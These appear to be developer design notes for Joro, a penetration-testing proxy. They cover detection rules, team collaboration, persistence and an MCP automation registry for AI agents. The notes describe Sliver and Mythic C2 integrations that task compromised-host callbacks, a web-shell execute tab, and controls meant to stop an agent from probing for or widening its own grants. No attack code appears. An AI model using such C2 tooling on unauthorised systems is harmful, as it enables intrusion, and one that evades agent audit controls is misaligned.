- **Rule copy follows one convention, documented in the `rules_builtin.go` header, unenforced.** Names are **sentence case** (not Title Case) with no trailing period, shaped `<subject> <state>` — `exposed`, `disclosed`, `missing`, `present`, `enabled`, `referenced`; the generic descriptor in a console name (`manager`, `console`, `admin`) stays lowercase so the product name is the only capitalized part. A rule about one specific header is named for that header (`Strict-Transport-Security missing`); a check spanning several mechanisms is named for the concept (`Clickjacking protection missing`). Where a product name is canonically lowercase, **reword so a capitalized word leads** (`Apache htpasswd file exposed`) rather than misspelling it. **Every rule carries a distinct non-empty `Description`** — the field is `omitempty` with no server-side validation and the frontend renders it conditionally with no fallback, so an empty one silently yields a name with no subtitle. Front-load it: the rules table truncates to a single line. When adding a rule family via a helper closure, **give the helper a `desc` parameter** — `fingerprint`/`stack`/`urlFile` originally had none, which is how 88 rules shipped description-less.
- **Patterns are RE2: no lookahead, no lookbehind, no backreferences.** Negative conditions belong in a post-filter. RE2 also caps explicit repeat counts at **1000**, and Go's `(?m)$` matches only immediately before `\n` — so a class excluding `\r` can never reach `$` on a CRLF-framed header line (header patterns end at the character class, with no anchor). `Engine.applyRegexRule` trims the captured value, since a stray `\r` would land in both the evidence and the grouping hash.
- **`Rule.Literal` prescreen**: a case-folded `bytes.Contains` before the regex, which is what makes ~167 rules per response affordable. A wrong `Literal` **silently disables the rule**. `builtinRules()` is a **function**, not a package var, so nothing can alias the shipped table; **every shipped rule is enabled** (no present-but-disabled tier), so operator changes are a `disabled` set plus a `severityOverride` map, and `PUT`/`DELETE` on a built-in returns 403.
- **Info findings are hidden by default, not disabled, and severity visibility is one field.** 71 of the 167 rules are Info, so `emptyDetectFilter` (`web/src/stores/detectStore.ts`) defaults `severities` to the four non-Info bands; the rules still run and their findings are still deduplicated, counted in `summary.bySeverity`, and persisted. `DetectFilter.severities` is the **visible set**, and an **empty array means no severity filter at all** — the same meaning `MultiSelectDropdown`'s "Any"/Clear and an absent `severity` param carry. There is **no separate "show info" control** and the frontend does not use `minSeverity`. The Severity dropdown and the count-bar chips write that one field; a chip **reverses one band** rather than isolating it, so `toggleSeverityChip` materializes `SEVERITY_ORDER` before subtracting. Turning off the last visible chip lands on empty and reveals everything. The default is not persisted. While a band is hidden the chips sum higher than the table's total.
- **Evidence offsets are absolute within the rendered document, and redaction is a display control.** `Finding.EvidenceOffset` is an offset into the raw request/response the UI renders — named by `EvidencePart` — not into the buffer the rule matched against, with `-1` meaning no faithful mapping exists (a decompressed body, or a URL match). `Message.absoluteOffset` is the single translation point. `EvidenceLength` is the length of the *matched region*, which for an analyzer is not `len(Evidence)` — that field holds a synthesized description. The round trip that must hold is `respRaw[off:off+len] == match`. **A byte offset is not a CodeMirror document position**: `EditorState.create` splits the doc on `/\r\n?|\n/` and rejoins with `\n`, so every CRLF collapses to one character and an HTTP body offset is short by one per header line. `byteOffsetToPos` (`web/src/pages/Detect.tsx`) subtracts the preceding CRLFs; a lone `\r` costs nothing, since it is also a split point but becomes one `\n`. The plugin then **verifies** the translated range against the finding's own evidence and falls back to a text search when it does not match; verification is skipped for analyzers, whose evidence is a description rather than a slice. As on the server in `Store.Upsert`, `evidenceOffset`/`evidenceLength`/`evidencePart` are **one value** and `detectStore.upsertFindings` must move them together, or a host-grouped merge points a stale length at a fresh offset. `Finding.RawEvidence` stores the unmasked value for the 48 rules that redact and is persisted in the project file: **redaction guards against shoulder-surfing and screen sharing, not data at rest**. `Finding.Evidence` keeps the mask, which is what the findings table renders; the detail pane starts masked on every selection and the eye toggle reveals per finding.
- **Severity follows a fixed rubric.** Info = not exploitable, and gives away nothing beyond a surface or an identity (exposed panels, missing headers, software/version fingerprints, analytics keys, identifiers that are not credentials); Low = a real if minor weakness, or disclosure of more than an identity (an exposed config file, a verbose error or debug page, a directory listing, a disclosed filesystem path, a CORS or redirect misconfiguration); Medium = the catch-all; High = account credentials, sensitive API keys, DB connection strings, low-level PII; Critical = high-grade PII (national ID or payment card) or severe compromise alone (RCE, auth bypass, a served DB dump). **Every credential is High and none is Critical**, and a rule that merely detects a *surface* is Info. The Info/Low line runs through what the match itself gives away, which matters most for **error pages**: one leaking source paths, stack frames, or settings is Low (`java-stack-trace`, `php-error-with-path`, `laravel-whoops`), while one that only names the framework or an exception class stays Info (`java-exception-name`, `dotnet-stack-trace`, `spring-whitelabel-error`). Critical is a deliberately short list (~15 rules); the library's shape is `Info >= Critical * 3`, with fewer than half of all rules at High or above. Severity is orthogonal to confidence, and both are operator-overridable per rule and per finding.
- **Bodies are not reliably plaintext.** `transport.go` sets `DisableCompression`, so Go neither requests gzip nor decodes it, `stripHopHeaders` leaves `Content-Encoding`, and the h2 path passes `Decompress: false` — so `parse.go` decompresses via the exported `proxy.TryDecompress`. Brotli/zstd are undecodable without a new dep, so those bodies are marked unscannable and **counted** (`skippedEncoded`) rather than silently skipped. `.js`/`.css` are **not** in `SkipExtensions` — the inverse of History's default exclude list.
- **`skippedBinary`/`skippedEncoded` mean "blind spot", so anything opaque *by design* must be excluded by content type instead.** Only those two of `prepareBody`'s six skip reasons are counted by `Store.NoteSkipped`; the frontend sums them into the Detect tab's amber "N unreadable" badge. `detect.DefaultOHTTPContentTypes` (`message/ohttp-`, `application/ohttp-keys`) is therefore in `SkipContentTypes`: OHTTP ciphertext is encrypted to a gateway key the proxy never holds, so it is not a scanner gap and must not read as one. Without the entry it classifies as content-type keyword `other`, passes the gate, and dies at the `isBinary` sniff — inflating the badge on every Firefox request. The gate is a `strings.Contains` test, so the `message/ohttp-` prefix covers both `-req` and `-res`.
- **Content-type gating is a blacklist for data rules, a whitelist for format rules.** `Rule.ExcludeContentTypes` is checked before `ContentTypes` and wins outright. The seven ungated PII rules exclude `ctCSS` rather than whitelisting the formats that may carry PII, so they stay live everywhere else. **JavaScript is never excluded, and there is no `ctJS` constant**. `contentTypeKeyword` already returned `"css"`/`"js"`, so this added no classifier logic.
- **Cursor resets are load-bearing.** `Store.Clear()` zeroes `nextSeq` and `LoadItems()` rewrites it, so a stale high cursor means `SinceSeq` returns nothing and **detection silently stops for the session with no error**. Reset at all four sites: `handleClearRequests`, `resetLiveProjectState` (→ 0, via `resetDetectLiveState`), and `applyProjectConfig` (→ `store.LastSeq()`, **not** 0, so restored history isn't re-reported). `SetMaxSize` needs nothing.
- **Findings persist in the project file** (added in schema **v5**), gated on `Config.PersistFindings` (default on), capped at 2,000 highest-severity-first with all triaged findings always kept: false-positive marks and notes cannot be recomputed, and "recompute from `RequestHistory`" fails whenever `saveHistory` is off. `liveStateSignature` includes the findings store's `atomic.Uint64` **revision counter**, since an FP toggle or note edit changes no count. Custom detect **rules** join `sharedConfigPayload`; **findings do not** (per-operator triage, and evidence can reference live secrets).
- **Proxy-mode API enforces same-origin requests** (`internal/api/originguard.go`). `originGuard` rejects state-changing requests (and the `/ws` upgrade) unless `Sec-Fetch-Site` is `same-origin`/`none` and any `Origin` matches the host, plus a loopback/`--bind` `Host` allowlist. No `Access-Control-Allow-Origin` header is set (the SPA and plugin iframes are same-origin; the proxy→teamserver path is a non-browser Go client). Non-browser local tooling (no `Sec-Fetch-Site`/`Origin`) is allowed. The Host whitelist can be extended with `--allowed-host` (comma-separated or repeatable, hostname-only comparison) for setups that reach the loopback UI under a non-loopback Host, such as an SSH tunnel entry address. This only relaxes the Host check; the same-origin CSRF check is untouched. Listener/team-server mode uses `team.AuthMiddleware`'s bearer token instead (no origin guard).
- **Sliver C2 uses custom protowire encoding** to avoid the massive Sliver dep tree. `internal/sliver/`: `wire.go` (hand-encoded proto), `client.go` (gRPC), `commands.go` (text command dispatcher). Binary downloads/screenshots cached server-side, 60s TTL. `POST /sliver/command` is the main interface — `{input}` → `{output, error, downloadId?, filename?}`. Active session tracked in `Client.activeSessionID`.
- **Mythic C2 is a built-in exec provider mirroring Sliver, over plain HTTP + GraphQL (no new deps).** Third sub-tab on the Execute page alongside Web Shell + Sliver. `internal/mythic/`: `config.go` (`Config{URL, Username, Password, APIToken}`), `client.go` (`*http.Client` + GraphQL helper; auth = `POST /auth` → JWT **or** `apitoken` header, both supported; `InsecureSkipVerify` for Mythic's self-signed nginx cert — same stance as the proxy's upstream dials), `subscription.go` (Hasura graphql-ws live-callback events over `gorilla/websocket` as a *client* — reused, not a new dep — broadcast as `mythic.event`), `commands.go` (`Dispatch`/`CommandResult` REPL). Operates at the **callback** level only: lists callbacks, `use <display_id>` selects the active one, and typed lines are issued **agent-agnostically** as Mythic tasks (`createTask` mutation) with output retrieved by **polling** `WaitForTaskOutput`. `help` queries the callback's real `loadedcommands` (agent-specific), not static text. Installing agents / generating payloads are **out of scope** (server-side `mythic-cli` operations). Stateless like Sliver — connection details live only in `Client` memory, wiped on disconnect; proxy-mode only (nil in listener/teamserver). **GraphQL field names + file-transfer URLs target Mythic 3.3+ and may need reconciliation against other versions** (the connect UI shows a `Mythic 3.3+` support note; the `fileDownloadPath` const and query strings are the places to adjust). No Mythic scripting library is vendored (same "avoid the C2's dep tree" rationale as Sliver's protowire).
- **Team Server mode (`--listener --teamserver`)** extends listener mode with auth + collaboration. 32-char hex token generated at startup, printed to console. All teamserver requests (except `GET /api/v1/mode`) require `Authorization: Bearer <token>`. Nicknames via `X-Joro-Nickname`. Teamserver is API-only (no frontend). Proxy connects via `listenerUrl` and forwards team requests with `proxyToListener()`. Team data stored in `callbacks.db`. Active users tracked via WS hub client map (conn → nickname). Proxy maintains a WS relay (`ws_relay.go`) that forwards `team.*` events to the local hub. Nickname rename via `POST /api/v1/team/nickname` atomically renames in hub map and broadcasts `team.nickname_changed`, avoiding the disconnect/reconnect a full relay restart would cause; relay's cached nickname updated via `ListenerRelay.SetNickname()`. On 409 (collision), proxy rolls back the local `teamNickname` setting and surfaces the error. **Team Chat is a persisted session log.** On join the client fetches history (`GET /team/chat`, `listChatMessages({limit:200})` reversed to chronological) and `addMessage` dedupes by id so the live WS echo doesn't double up. Connect/disconnect/rename are persisted **server-side** as `author:"*"` system messages in `team_chat` (not synthesized client-side): the hub's `SetOnConnect`/`SetOnDisconnect` callbacks + `handleTeamRename` call `APIServer.postSystemChat`, which stores the message and broadcasts `team.chat`. `team.presence` drives only the active-users sidebar.
- **Flagged requests are self-contained artifacts, not history pointers.** Request history is local to each proxy instance, so a teammate on another machine can't dereference an ID into someone else's history. A flagged request therefore carries its own raw request/response bytes into the `team_flagged_requests` table on the team server. A **single** `POST /api/v1/team/flagged` both stores the artifact and creates a referencing chat message (via `CreateMessage`'s optional `refID` → new nullable `team_chat.ref_id` column), broadcasting **both** `team.flagged` (summary) and `team.chat` (chip). This keeps every UI entry point — History context menu, Manipulate "🚩 Flag" button, and the `/flag <seq>` chat slash command — to one API call. Responses are capped at **256KB** (`maxFlaggedRespBytes` in `handlers_team.go`) with a `truncated` flag surfaced in the viewer. List returns summaries without blobs; `GET /team/flagged/{id}` returns base64 `reqRaw`/`respRaw`. The `team_chat.ref_id` column is added by an idempotent `ALTER TABLE` in `MigrateDB` (swallows "duplicate column") since `CREATE TABLE IF NOT EXISTS` can't alter a pre-existing table. Frontend: `teamFlaggedStore` (fed by `team.flagged`/`team.flagged.deleted` WS events + a `listFlagged` poll in `useDashboardPolling`), a clickable chat chip and the **Flagged Requests dashboard widget** (available only in team mode, in whichever slot the operator's layout puts it), both opening `FlaggedRequestModal` (read-only CodeMirror + `ResponseRender`, with a "Send to Manipulate" button reusing `navigate('/manipulate', {state:{rawReq}})`). All flag entry points are gated on team mode (`listenerUrl` + `teamToken` + `teamNickname`).
- **Dead Drop shares requests via a portable file, no team server.** Where Flagged Requests need a live team server, the **Dead Drop** tab lets an operator stage captured requests (History context menu → "Stage for Dead Drop", on both the row menu — fetches bytes via `api.getRequest(id)` — and the detail menu — uses `selectedDetail`), reorder them by **drag-and-drop**, annotate, and export a self-contained **`.jord`** file that any Joro instance can import and view. **Entirely frontend, no backend/API changes.** `deadDropStore` (Zustand, **in-memory** — staged list is lost on reload; the exported file is the durable artifact) holds full records (base64 `reqRaw`/`respRaw` from `RequestDetail`). `lib/deaddrop.ts` serializes a `{type:"joro-deaddrop", version, exportedAt, author, title, note, items[]}` bundle: gzip via `CompressionStream` (plain-JSON fallback when absent) on export; on import it sniffs the gzip magic bytes `0x1f 0x8b` → `DecompressionStream`, else parses plain JSON (mirrors the backend `gunzipIfNeeded`). The **author** field is operator-entered on the staging screen (prefilled from `teamNickname` if set — no nickname exists in local mode). The viewer reuses `FlaggedRequestModal`, generalized with optional `title`/`byline` props (defaulted to the flag strings so `Dashboard` is unchanged). The access point is intentionally obscure — a low-profile icon in the header (with a staged-count badge), separate from the standard tabs rather than a named tab in `nav.ts`; the `/deaddrop` route still exists.
- **Operator presence carries opt-in status + active project name.** `team.presence` is `[{nickname, status, project}]` (not bare nicknames): the hub keeps a `presenceMeta` map (nickname → `{status, project}`) and `ActiveUsersDetailed()` joins it with `clients` (default `online`), **omits appear-offline** users, and feeds both `broadcastPresence()` and `GET /team/users`; operators set **status** (online/away/dnd/appear-offline) + a **Share project name** toggle (default off) from the Active Users dashboard widget (`components/dashboard/ActiveUsersWidget.tsx`; persisted in `Settings.TeamStatus`/`ShareProjectName`), which propagate via a forwarded `POST /team/presence` → `hub.SetPresenceMeta` (rebroadcasts, **never a relay reconnect**, so the session log isn't disturbed); the proxy pushes on join + on setting change, the server keeps meta across disconnects so a relay blip doesn't wipe a shared project, and `Rename` migrates the meta. The shared value is the active project config name (from the frontend `projectStore`), gated by the toggle.
- **Presence is gated on the Team Chat widget.** An operator whose **team** dashboard layout has no `team-chat` widget announces `status: "offline"`, and `ActiveUsersDetailed()` already omits appear-offline users — so they don't appear on the roster at all. No backend change: the frontend simply sends a different status. "Displayed" means **in the active layout**, not currently mounted — the push lives in `App.tsx` and reads `layoutIncludes(layout, 'team', 'team-chat')`, so navigating to another tab doesn't flip anyone offline. The Active Users widget disables its status select and says why when this is in effect, and the Settings layout editor warns before you remove chat from the team layout.
- **Team relay connection state is surfaced to the UI, and team polls time out independently of the app.** The proxy→teamserver relay (`ListenerRelay`, `ws_relay.go`) reports transitions to the hub via `Hub.SetRelayState(state, err, httpStatus)` (states: `connecting`/`connected`/`disconnected`/`idle`), which broadcasts a **`team.relay`** WS event. Dedup lives in the hub (by `state` string) so the 1s→30s backoff loop can call freely without spamming; `run()` guards each call with a non-blocking `<-stop` check so a stale reconnect goroutine can't clobber the current one, and `Update()` sets `connecting` synchronously / calls `ClearRelayState()` (→`idle`) when stopped. On every `/ws` client connect, `ServeWS` re-broadcasts the last state (via the channel, **unconditional** — the local browser has no nickname) so a page reload mid-outage shows the truth. Frontend: `teamConnectionStore` (default `connecting`) fed by the `team.relay` case in `ws.ts` (toasts **only** on connected→disconnected); drives the App header dot color, the `NetworkGraph` widget's `connected` prop (gated on `settings.listenerUrl` so solo mode stays "connected"), and a status row in the Settings Team Server card. `req()` (`lib/api.ts`) takes an optional `timeoutMs` (`AbortController`); the listener-proxied polling GETs (chat/notes/flagged/users/callbacks/xss lists) use `TEAM_POLL_TIMEOUT` (4s) so a dead team server can't hang them for the full server-side `proxyToListener` timeout (10s; client abort cancels it via `r.Context()`) and starve the browser's ~6-connection HTTP/1.1 pool (which would delay unrelated local calls like `getSettings`). `useDashboardPolling` + Notes `fetchHosts`/`fetchNotes` also **skip** those proxied polls when state is `disconnected`. Do **not** add a global `req()` timeout — `/manipulate/send`, fuzzer, and uploads can be legitimately slow.
- **Team notes have soft ownership + in-place edit.** `PUT /api/v1/team/notes/{id}` edits content (bumps `updated_at`); both PUT and DELETE fetch the note first and 403 unless `team.NicknameFromContext` matches the note's `author` ("soft" because nickname is the only identity). The frontend (`Notes.tsx`) hides the ✎/✕ affordances on notes the current `teamNickname` doesn't own, and shows an "(edited)" marker when `updatedAt != createdAt`. Edit/delete broadcast `team.note` / `team.note.deleted`. Local notes (`internal/notes`) also expose `PUT /notes/{id}` but with **no** ownership check (single operator); their UI affordances always show.
- **The project config name is the engagement identity (no separate Project ID).** Every feature that labels an engagement (team presence, published configs, collab chips) uses the **active project config name** (`s.activeProjectConfig`). Wire/JSON key is `project`; the teamserver's `team_shared_configs`/`team_collab_requests` SQLite columns stay `project_id` (Go field `ProjectID`, JSON tag `project`) — no DB migration. Chat chips distinguish artifact kinds via `team_chat.ref_type` (`flagged`/`collab`/`config`); `CreateMessage` takes `(id, author, text, refID, refType)`. `handleLoadProjectConfig`/`handleSaveProjectConfig`/`handleSwitchProject` share `buildProjectConfig`/`applyProjectConfig`/`saveProject`/`gzipJSON`/`gunzipIfNeeded` — keep all paths on them.
- **Project browser + switcher + auto-save (Settings → Project, header dropdown).** A header `ProjectSwitcher` dropdown and the `ProjectBrowser` component (`web/src/components/ProjectBrowser.tsx`, embedded in the Settings page under the **Project** sidebar category) list/create/import/load projects, both driven by `projectStore` (Zustand). The dropdown's **Manage…** navigates to `/settings` with router state `{category:'project'}`; `Settings.tsx` reads `location.state.category` to open that sub-menu, then clears the state. `projectConfigFile` is **schema v6** (v4 added `autoSave` + `saveHistory`, both default true; v5 added the `detect*` fields, with `detectEnabled` defaulting true; v6 backfills the Mozilla-OHTTP noise pattern + detect skip content types; `normalizeProjectConfig` is the single place those version-gated defaults live). **A saved project replaces the live noise list and detect config wholesale** (`applyProjectConfig` → `SetPatterns`), and autosave then re-persists it every 30s, so a newly shipped default never reaches an existing `.joro` without a version-gated backfill — `backfillOHTTPDefaults` appends only the specific missing entries, since unioning the full default list would resurrect entries the operator deliberately deleted. Each project has a `<name>.meta.json` **sidecar** (counts + prefs) — authoritative for prefs locally, so `handleSetProjectPrefs` toggles them without decompressing the `.joro`. `saveProject(name)` (shared by manual save / switch / auto-save) snapshots via `buildProjectConfig`, omitting request history when `saveHistory` is off. `StartAutoSaveLoop` (`internal/api/autosave.go`, from `runProxyMode`) ticks every 30s and saves the active project when `autoSave` is on and `liveStateSignature()` changed. Switching (`handleSwitchProject`) auto-saves the outgoing project when its `autoSave` is on, else the UI confirms Save/Discard/Cancel (also for an unnamed scratch session). New project (`NewProjectModal` → `handleNewProject`) prompts snapshot-current vs. start-empty. `activeProjectConfig` is **not** persisted across restarts. Frontend rehydration goes through `web/src/lib/applyProject.ts` (`applyProjectResp`), which fires a `joro:project-changed` window event.
- **The Dashboard is a frame over a widget catalog, with a layout per mode.** `web/src/pages/Dashboard.tsx` renders no panels of its own: it resolves the operator's stored layout into widgets and draws the chosen preset's rows above a shared, resizable bottom bar. Pieces: `lib/dashboardWidgets.tsx` (the catalog — `WidgetId`, `WidgetDef`, `WIDGETS`, availability), `lib/dashboardPresets.tsx` (`classic`/`triptych`/`grid`/`stack` + the two default layouts), `stores/dashboardLayoutStore.ts` (persistence), `lib/useDashboardPolling.ts` (the one poll loop), `stores/dashboardDataStore.ts` (what it polls), `components/DashboardPanel.tsx` (shared chrome), and `components/dashboard/*Widget.tsx`. Adding a widget = a component + one `WIDGETS` entry; nothing in Go, the layout store, or the Settings editor changes. Changing a **default layout** is a different job and not additive: a stored layout always beats a default, so the change reaches only fresh installs unless it also ships a `LAYOUT_VERSION` bump and a migration (see Persistence).
- **Two layouts, swapped automatically.** `team` defaults to the pre-widget layout byte-for-byte (`classic`: network graph | recent interactions / flagged requests, over chat + active users); `local` defaults to `grid`: detected findings / recent interactions over **automation activity** / proxy health, with both bar slots empty so the bar and its drag handle are hidden. The network graph moved out of the local default to make room and stays one dropdown away in the layout editor. That swap reaches an operator who has already used the dashboard only through the v1→v2 migration in `dashboardLayoutStore` — the first cut of it shipped without one and applied to fresh installs alone, which made “default” mean “default for nobody who already had Joro”. Customization is **presets + a dropdown per slot** (Settings → Appearance → Dashboard layout) — deliberately **not** drag-and-drop and **no new npm dependency**.
- **The bottom bar belongs to the frame, not to a preset.** Every preset shares `barMain` + `barAside`, so the resizer is written once and survives swapping chat out of it. Height is committed to the store **once on mouseup**, not per mousemove.
- **Sanitize and resolve are separate, and only resolve drops widget ids.** `sanitize()` (the single gate for both `localStorage` and User Config data) validates the version, preset, and slot keys but **preserves unknown widget ids verbatim** — stripping them would let a downgrade silently destroy a layout built on a newer build, since the next `setSlot` persists the stripped copy. Unknown *and* unavailable ids are dropped at render instead, where the slot simply collapses and flex siblings take the space (which is how the old dashboard behaved when it hid the graph in listener mode). **The reconciled result is never written back** — same rule `hiddenTabs` follows, so a team widget survives a trip through local mode.
- **Availability is two declarative flags, not a predicate.** `requiresProxyMode` (network graph, detect findings, proxy health, automation activity — their endpoints don't exist in listener mode) and `requiresTeam` (flagged requests). Chat and active users are **not** `requiresTeam`: they degrade to a local scratchpad and a list of one. Flags rather than a closure so the Settings editor can say *why* a widget is unavailable.
- **Polling is centralized and keyed on the resolved layout.** `needs` is the union of the `DataNeed`s of the widgets actually in the layout, computed **before** render — not from mount-time registration, which races the first tick. A widget that isn't on the dashboard costs no requests. The `teamDown` short-circuit (skip listener-proxied polls when the relay is down) lives here; do not scatter it into widgets.
- **Persistence: `localStorage['joro-dashboard-layout']` (schema v2), plus `userConfigFile` v4.** Follows the `joro-hidden-tabs` pattern (hand-rolled `load`/`persist`, no zustand middleware). The Go side treats it as an opaque `json.RawMessage`, like `PluginStates`; **no normalizer** is needed since `userConfigFile.Version` is never read and a v3 file just decodes to `nil`. Not in the Go `Settings` struct (nothing there is cosmetic) and not in `projectConfigFile` (that is shared with teammates; this is per-operator chrome). First load seeds `barHeight` from the legacy `joro-chat-height` key.
- **A version bump migrates; it does not reset.** `sanitize()` still falls back to `defaults()` for a version it does not recognize, but a *known older* version is upgraded first (`migrateV1`). v1→v2 swapped the local bottom-left slot from `network-graph` to `automation-activity`, and only where that slot still held the graph — the same reasoning as `backfillOHTTPDefaults`: patch the one entry rather than unioning the default set, so a deliberate choice is never overwritten by a shipped default. `load()` persists once when the stored version differed, because a migration that never lands on disk re-runs on every load and leaves the file claiming a schema it no longer has. That write is **not** an exception to the never-written-back rule two bullets up: that rule governs render-time reconciliation of unavailable widget ids, which must stay non-destructive so a downgrade cannot eat a layout. A migration is the opposite kind of operation and has to persist to be one.
- **Project-config settings live in Settings → Project, inline under the project table.** `web/src/components/ProjectSettings.tsx` owns the **Team Server** card, **Team Configs** panel (`TeamConfigsPanel`), and the tabbed **Filtering** card (Scope / Noise / Match&Replace / Custom Data) — all backed by `projectConfigFile`; it hydrates on mount + on `joro:project-changed`. It is rendered inline by `ProjectBrowser.tsx` below the project table (no longer a modal). `web/src/pages/Settings.tsx` is a sidebar-driven page (`CATEGORIES` array + `category` state): **General** (user-config + machine settings: Server, Proxy, Connection, SOCKS, User Config), **Appearance**, **Project** (the `ProjectBrowser`), **Testing Browser**, **Plugins** (`PluginSettings`), and **Automation** (`AutomationSettings`). Every category renders into one shared padded, scrolling card — **except Plugins**, whose panel is full-bleed `flex flex-col overflow-hidden` because its feature-plugin sub-tabs are iframes and a block parent gives a `flex-1` child no height. Settings owns the single `api.listPlugins()` call and passes the list down, so a plugin upload/delete refreshes the Appearance → "Visible tabs" list from the same fetch.
- **Feature: publish / load a shared project config (async, whole-project).** `GET /api/v1/configs/export` serializes the current live project (via `buildProjectConfig` + `gzipJSON`, the same helpers the save handler uses) to base64(gzip); the frontend publishes it to the `team_shared_configs` table on the team server (`POST /team/configs {name, project, config}`, blob opaque to the server) and it appears in the Settings **Team Configs** panel. Loading calls `POST /api/v1/configs/import`, which writes a **new** local project file and runs the shared `applyProjectConfig` — **preserving the importer's own nickname** (adopts the shared listener URL + token) and returning **409 on a name collision** rather than clobbering. This shares the full project (scope/M&R/customdata + noise, notes, highlights, history, plugin states, team settings).
- **Team chat slash commands** (all handled in `TeamChatWidget.sendMessage`, team-mode only; in solo mode they show a "connect to a team server" hint instead of posting literal text). `/flag <seq> [note]` and `/collab <note>` (above); `/slap <user>` and `/me <text>` post **IRC-style action messages** — `sendChatMessage(text, 'action')` sets `refType:"action"` (the only client-settable refType; `handleCreateChatMessage` rejects forged `flagged`/`collab`/`config`), rendered italic as `* <author> <text>` with no name-colon prefix; `/nick <name>` calls `updateSettings({teamNickname})` (reuses the rename→`renameOnTeamServer` path, surfaces 409); `/help` appends a **local-only** `author:"*"` system message (the system-message span is `whitespace-pre-wrap` so the multi-line list renders).
- **Feature: collaboration request → diff-aware swap (via chat, rules-only).** The `/collab <note>` chat slash command posts a `team_collab_requests` row carrying a **3-field bundle** (scope/M&R/customdata JSON, built by `gatherCurrentRules()`) + a `refType:"collab"` chat chip naming the active project. Clicking the chip opens `CollabSwapModal`, which diffs the incoming bundle against the operator's current rules and offers four actions: **merge / save-and-load / load-without-saving / keep-current**. Merge/replace go through `POST /api/v1/configs/apply-shared {config, mode}` → bulk setters on **scope/replace/customdata only** — the swap **never touches history, notes, highlights, team settings, or the project-file schema**. `save-and-load` first calls the existing `saveProjectConfig`; `keep-current` applies nothing. Every choice records `POST /team/collab/{id}/accept`.
- **Automation is a capability registry, and the registry is the only way in.** `internal/capability` holds every operation exposed to an automation client, registered exactly once, and `Registry.Invoke` is the single choke point: authorization → reserved-prefix recheck → global concurrency → per-token rate + concurrency → scope guard → bounded, panic-recovered execution → output cap → audit. The audit entry is written from a `defer`, so denials, timeouts and recovered panics all land — the failures are the entries an operator most needs. An **unknown capability and an ungranted one return the same code and the same message**, so `tools/call` is never an oracle for what a token was not given. An oversize result is an **error, not truncated JSON**, which a client would mis-parse silently. Handlers are written against a real struct via `capability.Typed[T]`, whose decoder sets `DisallowUnknownFields` — the UI is a program that matches the server, but an automation client is a model that invents arguments, and silently ignoring an invented `limit` would return an unbounded result set instead of the error the agent needs to correct itself. Authorization lives **only** in `Invoke`: `mcp.callTool` deliberately does *not* pre-check `Get`+`Can`, because that duplicated the decision while returning before the audit `defer` — so an agent probing for tools it was not granted left no trace in Activity, the one place the audit log's own doc comment says such probing shows up.
- **There are 41 capabilities across twelve classes (46 across fourteen with `--automation-privileged`), and 16 of them write.** The read/send-only era ended with `config.*` (the proxy's Match & Replace, Custom Data and noise rule stores, plus read-only intercept status), `detect.*` (rules, config, rescan), `notes.create`, `findings.update` and the two scope writes. `Classes` order is load-bearing — the grant picker renders groups in it, and sorting by ID instead would lead with the write-heavy `config` and `detect`. Three rules bind every write handler, each learned from a real hazard in the store it touches: **use the single-item methods** (`AddRule`/`AddItem`/`AddPattern`/`Remove*`), never `Rules()`+`SetRules()`, because those setters retain the caller's backing array and the accessors copy only the slice header, so a read-modify-write both aliases live state and races the operator's own REST calls; **cap the store**, since none of them enforces a size limit and `MatchReplace.Apply` and `Scope.inScope` run on the proxy hot path (200 M&R rules, 200 custom items, 300 noise patterns, 1000 scope rules, 300 user detect rules); and **pre-validate**, because `MatchReplace.AddRule` swallows its `regexp.Compile` error and `NoiseFilter` validates no glob at all — an invalid pattern becomes a silently inert rule, which is the worst failure mode for an agent, since it reads success and concludes the rule fired.
- **`AuditEntry.Change` is the one place arguments are recorded readably, and the exception is deliberate.** Arguments stay a `sha256[:8]` digest because a send carries cookies, credentials and payloads — but a scope rule or a Match & Replace pattern is configuration, not a secret, and without this an operator reviewing Activity could see that an agent edited their proxy and not what it did. A mutating handler calls `capability.RecordChange(ctx, …)`; the sink rides on the context because `Typed` passes only `(ctx, Principal, args)` and drops `Input`, and it is collected in a `defer` so a handler that fails partway still reports what it managed to change. `Target*` is **not** reused for this: `AutomationActivity.tsx` renders those fields as `METHOD host path`, so a config edit would display as a request the agent never sent.
- **Only the `detect.*` families broadcast a WS event.** `detect.rules.changed` and `detect.summary` already exist and have listeners, so an agent's rule or triage edit lands in the operator's Detect tab live. There is no `scope.changed`, M&R, Custom Data, noise or highlight event type — and the operator's own REST handlers for those don't broadcast either — so those panels update on reload; emitting an event nothing listens to would read as working. Sends go through `capreg.broadcast`, which is **non-blocking**: some REST call sites send blocking, but a capability handler runs under a 30s timeout that a full hub channel would consume, and a dropped notification is a stale panel while a stalled handler is a failed tool call.
- **Grant administration is structurally impossible from a capability, in four independent layers.** (1) **Import direction**: `internal/capability` defines `Principal` itself and never imports `internal/automation`; because automation imports capability, the reverse is a cycle and *will not compile*. (2) **`capreg.Deps`**: capabilities are declared only in `internal/capreg`, which is handed a small struct (capture store, scope, findings, detect engine + scanner, notes, CA, proxy address, the three proxy rule stores — `MatchReplace`/`CustomData`/`NoiseFilter` — the intercept queue, a `func() context.Context` for the server-lifetime context, and the hub's bare `chan<- any`) and must import neither `automation` nor `api`, transitively. Every field is an `internal/proxy`, `internal/detect`, `internal/notes` or stdlib type; the context is a **getter** because `SetAutomation` runs before `StartDetectLoop` (main.go:395 vs :401), so capturing the value would pin a nil, and the broadcast channel is `chan<- any` rather than `*api.Hub` for the import rule. The two halves are enforced differently: importing `api` here **is** a cycle (`api` imports `capreg` to build the registry), so the compiler rejects it, but importing `automation` is not a cycle and would compile — so that half rests on review alone, and adding a field to `Deps` is the change that would break it. The absence of `*api.APIServer` is the point; with it, every capability would reach settings, the config store and the plugin manager forever. (3) **Reserved namespaces** (`token. grant. mcp. admin. …`) panic in `Register`, and `automation.Store` drops them again when loading a hand-edited file. (4) **The MCP listener is a separate `http.Server` with its own mux**, on which `/api/v1/*` is not registered at all.
